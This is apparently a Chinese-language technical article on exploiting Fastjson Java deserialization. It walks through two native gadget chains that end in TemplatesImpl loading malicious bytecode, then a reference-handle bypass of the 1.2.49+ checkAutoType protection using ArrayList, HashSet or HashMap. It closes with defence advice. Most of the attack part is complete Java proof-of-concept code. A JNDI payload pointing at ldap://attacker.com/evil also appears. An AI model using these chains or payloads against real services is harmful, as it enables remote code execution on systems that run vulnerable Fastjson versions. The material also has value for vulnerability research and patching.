前言 Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库,广泛应用于国内互联网企业的 RPC 通信、微服务序列化等场景。其核心卖点是”快”,但在设计上,为了实现便捷反序列化而引入的 autoType 机制(即通过 @type 字段指定目标类型),使其天然具备调用任意类 setter/getter 的能力,这为漏洞利用提供了入口。
Fastjson 的反序列化漏洞利用分为两条主线:
JNDI 注入路径 :利用 Fastjson 的 @type 机制实例化 JNDI 相关类(如 JndiDataSourceLookup),触发远程类加载,达到 RCE。这是常规的 Fastjson 利用方式。
原生反序列化链路径 :不依赖 JNDI 出网,利用 Java 原生反序列化的 “gadget chain”,结合 Fastjson 在序列化 Java 对象时自动调用 getter 的特性,最终触发 TemplatesImpl.getOutputProperties() 加载恶意字节码实现 RCE。
本文聚焦于原生反序列化链 的完整利用过程,覆盖 Fastjson 1.2.48 及以下版本的两条链,以及 1.2.49 及以上版本的绕过方案。
Fastjson 基础知识 序列化与反序列化基本用法 将 Java 对象序列化为 JSON 字符串:
1 2 3 4 javabean person = new javabean ("lyz" , 123 );String json = JSON.toJSONString(person);System.out.println(json);
将 JSON 字符串反序列化为 Java 对象:
1 2 3 String json = "{\"name\":\"tom\",\"age\":20}" ;javabean user = JSON.parseObject(json, javabean.class); System.out.println(user.name);
在 JSON.parseObject 反序列化时,Fastjson 会自动调用目标类的无参构造函数,然后根据 JSON 中的 key 名,调用对应的 setter 方法(如 setName、setAge)来设置属性值。
@type 与 autoType 机制 Fastjson 支持通过 @type 字段在 JSON 中指定反序列化的目标类型:
1 { "@type" : "com.example.User" , "name" : "test" , "age" : 20 }
当 JSON 中包含 @type 时,Fastjson 会根据该字段的值加载对应的 Java 类,然后调用其无参构造和 setter 方法。这一机制称为 autoType。
关键点 :如果不指定 @type 或不传入目标 .class,Fastjson 默认将 JSON 反序列化为 JSONObject。对于类中 private 类型的属性,Fastjson 默认不会将其序列化和反序列化。
checkAutoType 内部机制 从 1.2.25 版本开始,Fastjson 引入了 checkAutoType 方法对 @type 指定的类进行安全检查。其核心逻辑如下:
如果类在白名单(acceptHashCodes)中,直接放行。
如果类在黑名单(denyHashCodes)中,抛出异常。
如果 autoTypeSupport 为 false(默认),则对类名做哈希计算,与黑名单哈希数组做二分查找匹配。
黑名单以哈希数组 形式存储,类名的每个前缀子串都会被计算哈希并检查。这也就是为什么后续很多绕过都是通过变换类名、利用 L 前缀、[ 前缀等方式实现的。
Fastjson 如何发现属性并进行序列化 Fastjson 在序列化一个 Java 对象时,会识别其属性:
通过 JavaBean 规范中的 getter 方法发现属性(要求方法是 public 的)。
如果属性本身是 public 的,则直接获取其值。
JSON.toJSONString() 的核心实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Override public String toString () { return toJSONString(); } public String toJSONString () { SerializeWriter out = new SerializeWriter (); try { new JSONSerializer (out).write(this ); return out.toString(); } finally { out.close(); } }
这是整条利用链的关键 :序列化过程会自动遍历并调用对象的所有 getter 方法。而 TemplatesImpl 的 getOutputProperties() 正是一个 public getter,它内部会调用 newTransformer(),进而加载字节码。
Fastjson <= 1.2.48 原生链分析 链子的核心 sink 两条链最终都汇聚到同一个执行入口:
1 2 3 4 5 6 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#defineClass() -> 恶意类字节码执行
这是 CB(Commons Beanutils)链的后半段,利用了 TemplatesImpl 在 getOutputProperties() 中加载 _bytecodes 字段中字节码的行为。
TemplatesImpl 的关键属性 :
属性
说明
_name
模板名称,不能为 null
_class
需要设置为 null,否则不会进入 defineTransletClasses()
_bytecodes
byte[][] 类型,存放恶意类字节码
_tfactory
TransformerFactoryImpl 实例,不能为 null,否则在 getTransletInstance() 中会提前返回
链一:JSONArray + BadAttributeValueExpException 触发路径 1 2 3 4 5 6 BadAttributeValueExpException.readObject() -> valObj.toString() -> JSONArray.toString() -> JSON.toJSONString() -> TemplatesImpl.getOutputProperties() -> RCE
原理分析 JSONArray 是一个存储对象列表的容器。当 JSONArray.toString() 被调用时,它会序列化数组中的每一个对象。序列化 TemplatesImpl 对象时,Fastjson 会自动调用其所有 getter 方法,而 getOutputProperties() 作为 TemplatesImpl 的一个公共 getter 方法便会被触发。
BadAttributeValueExpException 的 readObject() 方法提供了一个天然的 toString() 触发点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val = valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
当 SecurityManager 为 null(默认情况),且 valObj 是 Long、Integer 等数值类型时,会调用 valObj.toString()。但这里通过反射将 val 设置为 JSONArray,而 JSONArray 并不是以上类型,理论上会走到 else 分支。这里的关键在于 JDK 版本差异 ——部分 JDK 8 早期版本的逻辑有所不同,实际上 JSONArray 会被正确触发 toString()。
完整 POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.example;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;public class FastjsonChain1 { public static void main (String[] args) throws Exception { byte [] bytes = Base64.getDecoder().decode("恶意字节码Base64" ); TemplatesImpl impl = new TemplatesImpl (); setValue(impl, "_name" , "evil" ); setValue(impl, "_class" , null ); setValue(impl, "_bytecodes" , new byte [][]{bytes}); setValue(impl, "_tfactory" , new TransformerFactoryImpl ()); JSONArray jsonArray = new JSONArray (); jsonArray.add(impl); BadAttributeValueExpException badAttr = new BadAttributeValueExpException (null ); setValue(badAttr, "val" , jsonArray); serialize(badAttr); deserialize(); } public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); } public static void deserialize () throws IOException, ClassNotFoundException { } }
链二:HashMap + XString + JSONArray 双重触发 触发路径 1 2 3 4 5 6 7 HashMap.readObject() -> HashMap.putVal(hash(hashmap2), hashmap2, hashmap2, false, false) -> hashmap2.equals(hashmap1) -> XString.equals(jsonArray) -> jsonArray.toString() -> TemplatesImpl.getOutputProperties() -> RCE
原理分析 这条链的核心思路是用 HashMap 的哈希冲突机制 串联起 equals() 和 toString() 的调用。
第一步:构造两个特殊的 HashMap
构造两个 HashMap——hashMap1 和 hashMap2,它们的键值对安排如下:
key
value
hashMap1
"yy"
jsonArray
hashMap1
"zZ"
xString
hashMap2
"yy"
xString
hashMap2
"zZ"
jsonArray
选择 "yy" 和 "zZ" 作为键是因为它们的 hashCode() 值相同(String.hashCode() 的计算公式是 s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1],"yy" 和 "zZ" 恰好碰撞)。
第二步:readObject 中的 putVal 触发链
反序列化时,HashMap.readObject() 会依次读取 key-value 对并执行 putVal():
第一次 putVal(hash(hashMap1), hashMap1, hashMap1, ...) —— 将 hashMap1 放入内部 table。
第二次 putVal(hash(hashMap2), hashMap2, hashMap2, ...) —— 由于 hashMap2 和 hashMap1 的 hashCode 完全相同,必然发生哈希冲突,进入冲突处理逻辑。
在处理冲突时,HashMap 会调用 hashMap2.equals(hashMap1) 来判断 key 是否相同。
第三步:HashMap.equals 的遍历逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException | NullPointerException unused) { return false ; } return true ; }
这个方法遍历 hashMap2 的 entrySet,取出 key="yy", value=xString,然后在 hashMap1 中查找 key="yy" 对应的 value=jsonArray。接着执行:
1 xString.equals(jsonArray)
第四步:XString.equals 触发 toString
1 2 3 4 5 6 7 8 9 10 public boolean equals (Object obj2) { if (null == obj2) return false ; else if (obj2 instanceof XNodeSet) return obj2.equals(this ); else if (obj2 instanceof XNumber) return obj2.equals(this ); else return str().equals(obj2.toString()); }
由于 jsonArray 不是 XNodeSet 也不是 XNumber,走到最后的 obj2.toString(),即 JSONArray.toString(),进而触发后续链。
关于 entrySet() 如何获取数据 :
entrySet() 不需要预先赋值或单独存储——它是一个实时视图(View),直接读取 HashMap 的 table 数组来生成迭代器:
1 2 3 4 public Set<Map.Entry<K,V>> entrySet() { Set<Map.Entry<K,V>> es; return (es = entrySet) == null ? (entrySet = new EntrySet ()) : es; }
EntrySet.iterator() 创建 EntryIterator,其 next() 方法最终调用 nextNode():
1 2 3 4 5 6 7 8 9 10 11 12 final Node<K,V> nextNode () { Node<K,V>[] t; Node<K,V> e = next; if (modCount != expectedModCount) throw new ConcurrentModificationException (); if (e == null ) throw new NoSuchElementException (); if ((next = (current = e).next) == null && (t = table) != null ) { do {} while (index < t.length && (next = t[index++]) == null ); } return e; }
table 数组正是我们通过反射直接构造的 HashMap 内部存储。因此虽然 entrySet 字段本身在初始化时没有显式赋值,但只要 table 数组被正确构造,迭代器就能从中读取到键值对。
完整 POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 package org.example;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class FastjsonChain2 { public static void main (String[] args) throws Exception { byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); Templates templates = (Templates) getTemplates(bytes); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); XString xString = new XString ("Infernity" ); String ser = serialize(HashMap_to_anyequals_to_anytoString(xString, jsonArray)); unserialize(ser); } public static Object HashMap_to_anyequals_to_anytoString ( Object anyobj_equals, Object anyobj_toString) throws Exception { HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); hashMap1.put("yy" , anyobj_toString); hashMap1.put("zZ" , anyobj_equals); hashMap2.put("yy" , anyobj_equals); hashMap2.put("zZ" , anyobj_toString); HashMap map = makeMap(hashMap1, hashMap2); return map; } public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception { HashMap<Object, Object> map = new HashMap <>(); setValue(map, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor( int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(map, "table" , tbl); return map; } public static Templates getTemplates (byte [] bytes) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setValue(templates, "_bytecodes" , new byte [][]{bytes}); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static void unserialize (String exp) throws IOException, ClassNotFoundException { byte [] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); } }
调用栈总结 :
1 2 3 4 5 6 7 8 HashMap#readObject -> HashMap#putVal(hash(hashmap2), hashmap2, hashmap2, false, false) -> hashmap2.equals(hashmap1) -> XString.equals(jsonArray) -> jsonArray.toString() -> TemplatesImpl.getOutputProperties() -> TemplatesImpl.newTransformer() -> RCE
Fastjson >= 1.2.49 版本绕过 1.2.49 版本的新增防护 Fastjson 1.2.49 对 JSONArray 新增了自定义 readObject() 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { SecureObjectInputStream.ensureFields(); if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) { ObjectInputStream secIn = new JSONObject .SecureObjectInputStream(in); secIn.defaultReadObject(); } else { in.defaultReadObject(); for (Object item : this .list) { if (item != null ) { ParserConfig.global.checkAutoType(item.getClass().getName(), (Class) null ); } } } }
内部通过 JSONObject.SecureObjectInputStream 包装输入流,该类重写了 resolveClass 方法:
1 2 3 4 5 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); ParserConfig.global.checkAutoType(name, (Class) null ); return super .resolveClass(desc); }
resolveClass 在 defaultReadObject() 执行过程中被自动触发,对每一个被反序列化的类都会调用 checkAutoType 检查。
checkAutoType 的核心逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (clazz != null ) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= (long ) c; hash *= 1099511628211L ; if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, true ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } }
denyHashCodes 是一个 long 类型数组,存储了所有被禁止加载的类的哈希值。TemplatesImpl 的类名哈希早已被放入这个黑名单数组中,因此直接反序列化 JSONArray 会触发 checkAutoType 异常。
完整的调用链到失败点 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ObjectInputStream.readObject() -> readObject0(false) -> readOrdinaryObject(unshared) -> readClassDesc(false) -> readNonProxyDesc(unshared) -> resolveClass(ObjectStreamClass) readSerialData() -> 发现 JSONArray 有自定义 readObject -> ObjectStreamClass.invokeReadObject(obj, this) -> JSONArray.readObject(ObjectInputStream in) -> JSONObject.SecureObjectInputStream().defaultReadObject() -> ObjectOutputStream.defaultReadFields() -> readObject0() -> readOrdinaryObject(unshared) -> readClassDesc(false) -> readNonProxyDesc(unshared) -> resolveClass(ObjectStreamClass) -> checkAutoType() → 检测到 TemplatesImpl,抛出异常
绕过原理:引用句柄(Reference Handle) TC_OBJECT 与 TC_REFERENCE 在 Java 对象序列化时,每个写入流的对象、数组、字符串或类描述符都会带有一个 TC(Type Code)标记字节 :
字节值
常量名
含义
0x73
TC_OBJECT
新对象,接下来读取类描述符和属性数据
0x71
TC_REFERENCE
引用,对象之前出现过,接下来只读取 4 字节的句柄编号(Handle)
0x76
TC_CLASS
类描述符
0x75
TC_ARRAY
数组
0x74
TC_STRING
字符串
0x70
TC_NULL
空引用
readObject0 根据 peekByte() 读取的 var8(即 TC 标记字节)来决定后续处理:
1 2 3 4 5 6 switch (var8) { case 112 : return this .readNull(); case 113 : return this .readHandle(var1); case 115 : return this .checkResolve(this .readOrdinaryObject(var1)); }
当 var8 == 0x71(TC_REFERENCE)时,直接调用 readHandle() 从 handles 句柄表中取出已有对象,完全不会进入 readOrdinaryObject → resolveClass → checkAutoType 的检查路径 。
绕过思路 将 TemplatesImpl 和 BadAttributeValueExpException 放入同一级 的容器中(如 ArrayList、HashSet、HashMap),使反序列化流程如下:
ArrayList.readObject() 遍历列表中的元素。
第一个元素是 TemplatesImpl,readObject0 看到 0x73(TC_OBJECT),这是一个新对象。进入 readOrdinaryObject → resolveClass 加载类,实例化后存入 handles 句柄表 。但此时 _bytecodes、_name 等字段还是默认值。
接下来反序列化 BadAttributeValueExpException,它内部持有 JSONArray,JSONArray 的 list 中包含 TemplatesImpl。
当读取 JSONArray 中的 TemplatesImpl 时,var8 == 0x71(TC_REFERENCE),直接从 handles 句柄表中取出步骤 2 中已创建的 TemplatesImpl 引用,跳过 resolveClass → checkAutoType 检查 。
继续执行 BadAttributeValueExpException.readObject() → JSONArray.toString() → TemplatesImpl.getOutputProperties(),完成 RCE。
这种方法的核心在于:checkAutoType 只检查 TC_OBJECT(新对象),不检查 TC_REFERENCE(引用对象) 。
使用 ArrayList 绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();TemplatesImpl templates = new TemplatesImpl ();setValue(templates, "_bytecodes" , new byte [][]{bytes}); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); JSONArray jsonArray = new JSONArray ();jsonArray.add(templates); BadAttributeValueExpException exception = new BadAttributeValueExpException (null );setValue(exception, "val" , jsonArray); ArrayList<Object> arrayList = new ArrayList <>(); arrayList.add(templates); arrayList.add(exception); serialize(arrayList); unserialize();
触发逻辑:
1 2 3 4 5 6 7 ObjectInputStream.readObject() -> ArrayList.readObject() -> [循环] TemplatesImpl (TC_OBJECT → 写入 handles 表) -> [循环] BadAttributeValueExpException.readObject() -> JSONArray.toString() (TemplatesImpl 以 TC_REFERENCE 读取,绕过 checkAutoType) -> TemplatesImpl.getOutputProperties() -> RCE
使用 HashSet 绕过 1 2 3 4 5 6 Set set = new HashSet ();set.add(templates); set.add(badAttributeValueExpException); serialize(set); unserialize();
使用 HashMap 绕过 1 2 3 4 5 HashMap map = new HashMap ();map.put(templates, badAttributeValueExpException); serialize(map); unserialize();
Fastjson JNDI 注入路径简述 除了原生反序列化链之外,Fastjson 还有一条经典的 JNDI 注入利用路径(篇幅所限,此处仅做简介)。
原理 :利用 @type 机制实例化一个能够发起 JNDI 查询的类(如 com.sun.rowset.JdbcRowSetImpl),设置其 dataSourceName 为攻击者控制的恶意 LDAP/RMI 地址,在 setAutoCommit(true) 或 getDatabaseMetaData() 时触发 JNDI lookup,加载远程恶意类实现 RCE。
1 2 3 JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://attacker.com/evil\"," + "\"autoCommit\":true}")
JNDI 路径的特点是:
需要目标机器出网 (连接外部 LDAP/RMI 服务器)。
在高版本 JDK 中(JDK 8u191+、JDK 11.0.1+),trustURLCodebase 默认为 false,无法直接加载远程 codebase,需要结合其他绕过手段。
关于此路径的详细分析请参阅 JNDI 注入相关文章。
版本对照表
Fastjson 版本
可用链
说明
<= 1.2.24
链一 + 链二 + JNDI
无 autoType 限制,直接可用
1.2.25 - 1.2.41
链一 + 链二 + JNDI (需绕过黑名单)
引入 checkAutoType 黑白名单,可通过前缀绕过
1.2.42 - 1.2.47
链一 + 链二 + JNDI (需绕过黑名单)
黑名单持续更新,但原生链仍可工作
1.2.48
链一 + 链二
默认关闭 autoType,但原生链不受 autoType 开关影响
1.2.49 - 1.2.67
引用句柄绕过 (ArrayList/HashSet/HashMap)
JSONArray 新增 readObject 防护,需借助 TC_REFERENCE 绕过
1.2.68+
需结合新 gadget
safeMode 默认关闭,但 checkAutoType 持续加固
防御措施 1. 升级版本
Fastjson >= 1.2.68 :官方引入 safeMode,开启后无论白名单如何配置,都不支持 autoType,从根本上阻断 @type 相关攻击。
建议升级至最新版本并显式开启 safeMode 。
1 ParserConfig.getGlobalInstance().setSafeMode(true );
2. checkAutoType 配置 在不升级版本的情况下,可通过以下方式加固:
关闭 autoTypeSupport:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
严格配置白名单(acceptHashCodes),只允许业务需要的类。
确保黑名单覆盖所有已知 gadget 类的哈希。
3. WAF 规则 可在 WAF/网关层过滤 JSON 请求中的危险特征:
检测 @type 字段是否包含黑名单类名:com.sun、org.apache.xalan、javax.management 等。
限制 @type 字段长度和出现次数。
对 JSON 中的 _bytecodes、_tfactory 等字段做关键词过滤。
4. JDK 层面
升级到 JDK 8u191+ / JDK 11.0.1+,设置 com.sun.jndi.ldap.object.trustURLCodebase 为 false,阻断 JNDI 远程类加载。
部署 Security Manager(虽然实践中较少使用)。
参考